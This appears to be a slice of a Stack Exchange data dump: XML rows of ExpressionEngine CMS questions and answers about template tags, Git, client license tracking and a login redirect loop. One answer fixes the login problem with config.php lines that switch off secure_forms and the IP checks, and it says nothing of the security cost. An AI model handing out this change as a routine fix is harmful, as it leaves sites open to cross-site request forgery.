  <row Id="386" PostTypeId="1" AcceptedAnswerId="410" CreationDate="2012-11-26T21:07:42.383" Score="4" ViewCount="351" Body="&lt;p&gt;I'm using phpstringfun plugin to check a comma-delimited list for the presence of a single number.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:phpstringfun function=&quot;substr_count&quot; par1=&quot;{member_group}&quot;}&#xA;{member-groups}&#xA;{/exp:phpstringfun}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;member_group is the member group of the current user. member-groups is a category custom field. I've confirmed they're both working with &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; member-groups: {member-groups} member_group = {member_group}&amp;lt;br&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For example, I'll see the values &quot;6,7&quot; and &quot;6&quot;, so 6 should be found in list.&#xA;When I run the function, it always returns 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried @dom-stubbs&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:categories category_group=&quot;1&quot; channel=&quot;pm&quot; style=&quot;linear&quot;}  &#xA;&#xA;{exp:switchee variable=&quot;{member_group}&quot; parse=&quot;inward&quot;}  &#xA;  member-groups is: {member-groups}  &#xA;  {case value=&quot;{member-groups}&quot;}  &#xA;    We have a match.  &#xA;  {/case}  &#xA;{/exp:switchee}  &#xA;&#xA;{/exp:channel:categories}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And no luck. I've confirmed that the member-groups and member_group variables are available. Nothing is output.&lt;/p&gt;&#xA;" OwnerUserId="225" LastEditorUserId="225" LastEditDate="2012-11-27T19:20:32.160" LastActivityDate="2012-11-29T18:50:20.173" Title="Problem with phpstringfun and substr_count function" Tags="|php|phpstringfun|plugin|" AnswerCount="3" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="387" PostTypeId="1" AcceptedAnswerId="389" CreationDate="2012-11-26T21:08:22.327" Score="28" ViewCount="3577" Body="&lt;p&gt;I'm looking to change my ExpressionEngine development process to integrated GIT for version control.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best place to start?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I work on a PC. I use UniServer for LAMP, Aptana Studio 3 for coding (has GIT integration).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the first basic steps I need to put into place?&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2016-07-10T20:54:33.903" Title="ExpressionEngine and GIT Process" Tags="|git|" AnswerCount="13" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="388" PostTypeId="1" CreationDate="2012-11-26T21:11:40.640" Score="14" ViewCount="614" Body="&lt;p&gt;I'm looking to put in place a more efficient license management process. I usually buy all EE and EE addon licenses for clients and have no process in place for managing them other than assigning the domain name to the purchase using the EE and Devotee notes fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is your process for managing client licenses? &lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2012-11-30T11:30:05.857" Title="License Management Process" Tags="|license|" AnswerCount="13" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="389" PostTypeId="2" ParentId="387" CreationDate="2012-11-26T21:15:13.407" Score="21" Body="&lt;p&gt;The first place to start is to get a GitHub or a Bitbucket account. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For new users, I'd recommend Bitbucket for their excellent tutorial: &lt;a href=&quot;https://confluence.atlassian.com/display/BITBUCKET/Bitbucket+101&quot;&gt;https://confluence.atlassian.com/display/BITBUCKET/Bitbucket+101&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Follow the tutorial above to setup SSH through Git Bash on your local machine (or setup GitHub's easy-to-pick-up GitHub for Windows if you prefer GitHub) and you should well be on your way. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also don't forget CodeSchool's free tutorial as well: &lt;a href=&quot;http://www.codeschool.com/courses/try-git&quot;&gt;http://www.codeschool.com/courses/try-git&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lynda.com also has a full course on Git: &lt;a href=&quot;http://www.lynda.com/Git-tutorials/Git-Essential-Training/100222-2.html&quot;&gt;http://www.lynda.com/Git-tutorials/Git-Essential-Training/100222-2.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps :)&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-11-26T21:15:13.407" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="390" PostTypeId="2" ParentId="368" CreationDate="2012-11-26T21:18:45.623" Score="1" Body="&lt;p&gt;EE does have native search keyword logging. Here's a link to the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/tools/logs/search_log.html&quot; rel=&quot;nofollow&quot;&gt;info in the docs&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="77" LastEditDate="2012-11-26T21:22:18.490" LastActivityDate="2012-11-26T21:22:18.490" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="391" PostTypeId="2" ParentId="388" CreationDate="2012-11-26T21:24:47.053" Score="2" Body="&lt;p&gt;We have started using Basecamp as a way to store these kinds of notes on a particular project.  It allows the development team to build the site as is needed and then admin/finance to check out what we've been using to purchase the correct licenses and/or inform the client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's proven to be useful for us, and because Basecamp gives you unlimited free archived projects this works wonderfully for older projects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the flip side, if you were logging in to Devot-ee or EllisLab to see what license is used on what site, I would argue it's going to be naturally difficult and working 'project-upwards' will be easier to manage.&lt;/p&gt;&#xA;" OwnerUserId="96" LastActivityDate="2012-11-26T21:24:47.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="392" PostTypeId="2" ParentId="387" CreationDate="2012-11-26T21:32:06.940" Score="10" Body="&lt;p&gt;One of the key things to remember with ExpressionEngine and GIT is that not all directories should be version controlled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The core files, third party plugins and your design of course should be - but version controlling the /images/ and /cache/ directory for example is over the top and is a burden on resources (and frankly a waste of time!).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the past I have run an install of ExpressionEngine that has been the basis of a boilerplate. I would clone this for each site I built and have the third_party resources and basic channels I constantly use ready to roll in minutes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have noticed that the applications on Mac are considerably easier to use than their Windows equivalents. With that said, GitHub's Windows app is quite good.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of GitHub or BitBucket I have used Beanstalk - primarily because it has a neat 'Deploy to FTP' function which speeds up deployment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd be interested to hear the communities best practices in regard to managing one base boilerplate install to keep core files and third_party files up to date across all sites - if indeed that is possible. And if there are any database considerations with this.&lt;/p&gt;&#xA;" OwnerUserId="96" LastActivityDate="2012-11-26T21:32:06.940" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="393" PostTypeId="1" AcceptedAnswerId="402" CreationDate="2012-11-26T21:35:13.467" Score="7" ViewCount="2843" Body="&lt;p&gt;I want to list a channel's entries by category. It's a kind of hybrid of using EE's &lt;strong&gt;category_archive&lt;/strong&gt; tag but inside of &lt;strong&gt;exp:channel:entries&lt;/strong&gt;. I have an ugly solution (shown here); it violates every DRY principle out there, but I don't know how to do it better.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The channel is a glorified list of links with explanation text and image. &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;The results I'd like to have:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Resource Page Title heading H1&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Category A H2&lt;/strong&gt;&lt;br&gt;&#xA;Resource Link 1&lt;br&gt;&#xA;Another Resource Link&lt;br&gt;&#xA;And another&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;A different Category H2&lt;/strong&gt;&lt;br&gt;&#xA;Resource Link&lt;br&gt;&#xA;Yet Another one&lt;br&gt;&#xA;One more here&lt;/p&gt;&#xA;&#xA;&lt;p&gt;etc.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;How the channel fields are set up:&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;{title} (obviously)  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Channel fields&lt;/strong&gt;&lt;br&gt;&#xA;{resource_url_link} — &lt;em&gt;Link to destination website&lt;/em&gt;&lt;br&gt;&#xA;{resource_src_logo} — &lt;em&gt;Destination website logo&lt;/em&gt;&lt;br&gt;&#xA;{resource_rte_blurb} — &lt;em&gt;Brief description of destination site&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: {title_url} has no business in this channel. At all.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Option I considered but rejected:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/category_archive.html&quot; rel=&quot;noreferrer&quot;&gt;Category Archive&lt;/a&gt; (link to EE Docs): Limited to only entry title and a path or entity akin to title_url, which will not work. &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Ugly workable code/tags I'm using at the moment&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(It is ugly, it violates DRY/Don't Repeat Yourself, but the total number of categories are limited so it's doable.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For each category (see H2 tags), I hand-code category ID in the low_title item, and match that ID in the subsequent exp:channel:entries.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h2&amp;gt;{exp:low_title:category category_id=&quot;7&quot;}&amp;lt;/h2&amp;gt;&#xA;    {exp:channel:entries channel=&quot;resources&quot; disable=&quot;pagination|member_data|category_fields&quot; category=&quot;7&quot;}&#xA;    &amp;lt;div&amp;gt;&#xA;        &amp;lt;div&amp;gt;&amp;lt;img alt=&quot;{title}&quot; src=&quot;{resource_src_logo:medium}&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;div&amp;gt;&amp;lt;h3&amp;gt;&amp;lt;a href=&quot;{resource_url_link}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;{resource_rte_blurb}&amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    {/exp:channel:entries}&#xA;&#xA;&amp;lt;h2&amp;gt;{exp:low_title:category category_id=&quot;10&quot;}&amp;lt;/h2&amp;gt;&#xA;    {exp:channel:entries channel=&quot;resources&quot; disable=&quot;pagination|member_data|category_fields&quot; category=&quot;10&quot;}&#xA;    &amp;lt;div&amp;gt;&#xA;        &amp;lt;div&amp;gt;&amp;lt;img alt=&quot;{title}&quot; src=&quot;{resource_src_logo:medium}&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;div&amp;gt;&amp;lt;h3&amp;gt;&amp;lt;a href=&quot;{resource_url_link}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;{resource_rte_blurb}&amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Do you know how I can do this better?&lt;/p&gt;&#xA;" OwnerUserId="143" LastEditorUserId="77" LastEditDate="2012-11-27T20:18:01.747" LastActivityDate="2012-11-27T20:18:01.747" Title="Listing entries, ordering by Category" Tags="|categories|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="394" PostTypeId="2" ParentId="388" CreationDate="2012-11-26T21:37:11.467" Score="9" Body="&lt;p&gt;Anna,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to minimize any issues with client licenses we always ask them to make the purchase themselves.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We provide them with a detailed set of instructions for using both Devot-ee and any third party sites like Pixel &amp;amp; Tonic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We find this is advantageous in two ways,&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The administration process for us is vastly reduced, no invoices for 'materials', better cash flow.&lt;/li&gt;&#xA;&lt;li&gt;The licenses are in their name, if we ever part company with them there is no issues with them getting support directly.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;There is also a side effect of this, we quickly learn how willing the client is to participate in the process and their level of attention to detail. This historically has led to a better level of preparation for clients with a lower threshold for detail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When we have the license numbers we keep them in a text file in a non-public accessible place in the site so that they are available for all who need them/have the right level of access.&lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2012-11-26T21:37:11.467" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="395" PostTypeId="2" ParentId="393" CreationDate="2012-11-26T21:44:41.007" Score="3" Body="&lt;p&gt;If you're not opposed to using an add-on ee-garage's &lt;a href=&quot;http://ee-garage.com/nsm-categories&quot; rel=&quot;nofollow&quot;&gt;http://ee-garage.com/nsm-categories&lt;/a&gt; does exactly what you describe.&lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2012-11-26T21:44:41.007" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="396" PostTypeId="2" ParentId="393" CreationDate="2012-11-26T21:48:48.340" Score="2" Body="&lt;p&gt;I'm not too sure on how to make the underlying code better - but the first way you could make this DRY would come with a bit of a performance hit&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could take the below and set this as a new template&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h2&amp;gt;{exp:low_title:category category_id=&quot;{embed:id}&quot;}&amp;lt;/h2&amp;gt;&#xA;{exp:channel:entries channel=&quot;resources&quot; disable=&quot;pagination|member_data|category_fields&quot; category=&quot;{embed:id}&quot;}&#xA;&amp;lt;div&amp;gt;&#xA;    &amp;lt;div&amp;gt;&amp;lt;img alt=&quot;{title}&quot; src=&quot;{resource_src_logo:medium}&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div&amp;gt;&amp;lt;h3&amp;gt;&amp;lt;a href=&quot;{resource_url_link}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;{resource_rte_blurb}&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then in your existing template call it in such a fashion...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;_embeds/.category-info&quot; id=&quot;7&quot;}&#xA;{embed=&quot;_embeds/.category-info&quot; id=&quot;10&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That would work pretty nicely, but as mentioned would have a performance hit with the embeds being used to this degree. That said, this is a nice example where embeds' ability to parse parameters is a nice thing.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;My next method is completely made up, I'm not sure if any plugins exist to allow this but if they do you could achieve the same with less of a performance hit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Firstly, we could set a Preload Replace variable of a comma separated values of the IDs you wish to use...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{preload_replace:pre_categories=&quot;7,10&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, we would have a new snippet, for examples sake I'm calling this &lt;code&gt;{sn_category-info}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:counter:increment} {!-- this made up plugin would +1 each time the snippet is called --}&#xA;&amp;lt;h2&amp;gt;{exp:low_title:category category_id=&quot;{exp:comma_seperated:grab x=&quot;{exp:counter:return}&quot; values=&quot;{pre_categories}&quot;}&quot;}&amp;lt;/h2&amp;gt; {!-- This made up plugin would take the current count position, the comma separated list and find the x'th value, so on the first run 7, on the second 10 --}&#xA;{exp:channel:entries channel=&quot;resources&quot; disable=&quot;pagination|member_data|category_fields&quot; category=&quot;{exp:comma_seperated:grab x=&quot;{exp:counter:return}&quot; values=&quot;{pre_categories}&quot;}&quot;}&#xA;&amp;lt;div&amp;gt;&#xA;    &amp;lt;div&amp;gt;&amp;lt;img alt=&quot;{title}&quot; src=&quot;{resource_src_logo:medium}&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div&amp;gt;&amp;lt;h3&amp;gt;&amp;lt;a href=&quot;{resource_url_link}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;{resource_rte_blurb}&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A bit hypothetical, I understand, but those plugins should be relatively simple to write and I think it'd be pretty damn DRY and fast!&lt;/p&gt;&#xA;" OwnerUserId="96" LastActivityDate="2012-11-26T21:48:48.340" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="397" PostTypeId="2" ParentId="393" CreationDate="2012-11-26T21:52:20.613" Score="2" Body="&lt;p&gt;This is exactly what I wrote &lt;a href=&quot;http://devot-ee.com/add-ons/category-entries&quot; rel=&quot;nofollow&quot;&gt;Category Entries&lt;/a&gt; for - you tell it what categories you want to list entries for, and it sorts them by the order that you specify. Omitting the list of categories simply ends up sorting by whatever categories are on the entries. The tag is otherwise identical to the {channel:entries} tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You end up extracting category information from the entries' {categories} loop, or through other mechanisms such as &lt;a href=&quot;http://devot-ee.com/add-ons/category-info-dibeja&quot; rel=&quot;nofollow&quot;&gt;Category Info&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example code to sort entries by three specified categories:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;  {exp:category_entries category=&quot;2|3|1&quot; orderby=&quot;date&quot;}&#xA;    &amp;lt;li&amp;gt;{title} {categories}{category_name}{/categories} - {entry_date}&amp;lt;/li&amp;gt;&#xA;  {/exp:category_entries}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you need anything added to the tag, you can post a request in the support forum for it and I will add it.&lt;/p&gt;&#xA;" OwnerUserId="131" LastActivityDate="2012-11-26T21:52:20.613" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="398" PostTypeId="1" AcceptedAnswerId="414" CreationDate="2012-11-26T21:53:07.550" Score="5" ViewCount="399" Body="&lt;p&gt;I have a site being added to that is currently on 2.1.3 and cannot be updated for the time being.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All is running fine on localhost but when I try to login to the CP on the dev server the login page returns me to the login page? There are no errors on the page and credentials entered have been removed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have,&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Cleared all cookies on both the dev server and the local.&lt;/li&gt;&#xA;&lt;li&gt;Created a new account and imported the db to dev in case there was any corruption/clash.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="112" LastActivityDate="2012-11-26T22:31:05.087" Title="Login page returns to the login page, doesn't log me in?" Tags="|login|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="399" PostTypeId="2" ParentId="398" CreationDate="2012-11-26T21:55:54.530" Score="3" Body="&lt;p&gt;This has happened to me before where I was accessing www. but the site was setup to http:// (note: no www.*).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could this be the case in your scenario?&lt;/p&gt;&#xA;" OwnerUserId="96" LastActivityDate="2012-11-26T21:55:54.530" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="400" PostTypeId="2" ParentId="388" CreationDate="2012-11-26T21:56:37.973" Score="15" Body="&lt;p&gt;We generally have clients purchase licenses themselves like Adam mentioned, however there are instances (past and present) where we do all the license purchases.  For those clients, we use EE to store the data.  We created a new channel with a matrix field that includes license number, purchase date, cost, receipt number.  It's pretty easy to setup and maintain.&lt;/p&gt;&#xA;" OwnerUserId="111" LastActivityDate="2012-11-26T21:56:37.973" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="401" PostTypeId="2" ParentId="398" CreationDate="2012-11-26T22:03:04.497" Score="1" Body="&lt;p&gt;This sometimes happens on Chrome. One trick that works for me:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Login with FireFox or Opera&lt;/li&gt;&#xA;&lt;li&gt;Go to Admin &gt; Security &amp;amp; Sessions&lt;/li&gt;&#xA;&lt;li&gt;Change the cookies settings to &quot;Cookies Only&quot; (default is cookies &amp;amp; sessions)&lt;/li&gt;&#xA;&lt;li&gt;Try logging in with Chrome, but with the &quot;Auto log-in&quot; button checked&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Your issue may be something completely different, but at least on Chrome the above trick has served me well.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-11-26T22:03:04.497" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="402" PostTypeId="2" ParentId="393" CreationDate="2012-11-26T22:06:28.987" Score="9" Body="&lt;p&gt;I had the same problem and found that the &lt;a href=&quot;http://devot-ee.com/add-ons/support/stash/viewthread/4021#15069&quot;&gt;Stash solution&lt;/a&gt; was the best approach for this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;resources&quot; dynamic=&quot;no&quot; disable=&quot;pagination|member_data|category_fields&quot;}&#xA;{exp:stash:append name=&quot;resources_{categories limit='1'}{category_id}{/categories}&quot; parse=&quot;inward&quot;}&#xA; &amp;lt;div&amp;gt;&#xA;    &amp;lt;div&amp;gt;&amp;lt;img alt=&quot;{title}&quot; src=&quot;{resource_src_logo:medium}&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div&amp;gt;&amp;lt;h3&amp;gt;&amp;lt;a href=&quot;{resource_url_link}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;{resource_rte_blurb}&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;{/exp:stash:append}&#xA;{/exp:channel:entries}&#xA;&#xA;{exp:channel:categories channel=&quot;resources&quot; style=&quot;linear&quot; disable=&quot;category_fields&quot; show_empty=&quot;no&quot;}&#xA;    &amp;lt;h2&amp;gt;{category_name}&amp;lt;/h2&amp;gt;&#xA;    {exp:stash:get name=&quot;resources_{category_id}&quot;}&#xA;{/exp:channel:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="53" LastActivityDate="2012-11-26T22:06:28.987" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="403" PostTypeId="2" ParentId="398" CreationDate="2012-11-26T22:06:33.697" Score="5" Body="&lt;p&gt;Try adding this to your config.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['cookie_domain'] = &quot;&quot;;&#xA;$config['cookie_path'] = &quot;&quot;;&#xA;$config['cookie_prefix'] = &quot;&quot;;&#xA;$config['admin_session_type'] = &quot;s&quot;;&#xA;$config['user_session_type'] = &quot;c&quot;;&#xA;$config['require_ip_for_login'] = &quot;n&quot;;&#xA;$config['require_ip_for_posting'] = &quot;n&quot;; &#xA;$config['secure_forms'] = &quot;n&quot;;  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28" LastActivityDate="2012-11-26T22:06:33.697" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="404" PostTypeId="2" ParentId="388" CreationDate="2012-11-26T22:09:38.040" Score="2" Body="&lt;p&gt;I've found it's a lot easier to buy and manage all licenses for clients as much as possible. This allows me to know for a fact that the client actually has a license allocated to the site. For long term customers, we just manage the licenses for them (and bill them for purchases).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use an internal system based on &lt;a href=&quot;http://buildadatabaseapp.com/&quot; rel=&quot;nofollow&quot;&gt;Bilt&lt;/a&gt; to manage all client information. It allows you to create nested data types (really similar to EE's channels actually, but with nested relationships) to manage content. In my case I use a structure like this to manage project information:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Projects&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Project Name&lt;/li&gt;&#xA;&lt;li&gt;Client Name (dropdown)&lt;/li&gt;&#xA;&lt;li&gt;Category (dropdown)&lt;/li&gt;&#xA;&lt;li&gt;Team&lt;/li&gt;&#xA;&lt;li&gt;Active&lt;/li&gt;&#xA;&lt;li&gt;Start Date&lt;/li&gt;&#xA;&lt;li&gt;Due Date&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Description&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Systems (multiple records)&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Description&lt;/li&gt;&#xA;&lt;li&gt;Server / URL&lt;/li&gt;&#xA;&lt;li&gt;Password&lt;/li&gt;&#xA;&lt;li&gt;Type&lt;/li&gt;&#xA;&lt;li&gt;Username&lt;/li&gt;&#xA;&lt;li&gt;Database&lt;/li&gt;&#xA;&lt;li&gt;License&lt;/li&gt;&#xA;&lt;li&gt;Notes&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I store the customer's License keys for each product used on the Systems tab. Each of these items can have comments added to it, when requesting a transfer to another account (which EllisLab will do for you with a email sent to their support addresses, and for which &lt;a href=&quot;http://devot-ee.com/members/license-transfers&quot; rel=&quot;nofollow&quot;&gt;Devot:ee has a dedicated form&lt;/a&gt;), I note that on the System record so I know when requests were made and fullfilled.&lt;/p&gt;&#xA;" OwnerUserId="131" LastEditorUserId="131" LastEditDate="2012-11-28T17:36:38.477" LastActivityDate="2012-11-28T17:36:38.477" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="405" PostTypeId="1" CreationDate="2012-11-26T22:11:56.257" Score="5" ViewCount="771" Body="&lt;p&gt;Is it at all possible to have a text input or area field in which we could enter EE code to be processed by the template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if we could have a text area called &quot;Advanced Functionality&quot; and within this write things like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {sn_contact-form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Right in the channel entry, and then in our template call...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{advanced_functionality}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then that could be valuable in some instances.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this too far down the parse order to happen? Or does anybody know of a solution?&lt;/p&gt;&#xA;" OwnerUserId="96" LastActivityDate="2012-11-26T23:35:33.923" Title="EE Code within channel entries" Tags="|templates|channel|parsing|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="406" PostTypeId="2" ParentId="356" CreationDate="2012-11-26T22:15:02.273" Score="3" Body="&lt;p&gt;General rules of thumb:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;If you find yourself altering tables (adding columns for example) your add-on should create its own table instead.&lt;/li&gt;&#xA;&lt;li&gt;If you can fit your data in core tables, by all means, do so (if you're creating new entries or editing them, for example)&lt;/li&gt;&#xA;&lt;li&gt;Use your own tables within the same database for things like configuration data, and business-logic (For example an SEO module should have its own table to save title and description tag info per entry, and a config table for storing user configuration such as robots.txt value)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="338" LastActivityDate="2012-11-26T22:15:02.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="407" PostTypeId="2" ParentId="386" CreationDate="2012-11-26T22:16:19.050" Score="0" Body="&lt;p&gt;I'm wondering if it being across multiple lines is making a difference. Does it work correctly if formatted as...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:phpstringfun function=&quot;substr_count&quot; par1=&quot;{member_group}&quot;}{member-groups}{/exp:phpstringfun}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Instead?&lt;/p&gt;&#xA;" OwnerUserId="96" LastActivityDate="2012-11-26T22:16:19.050" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
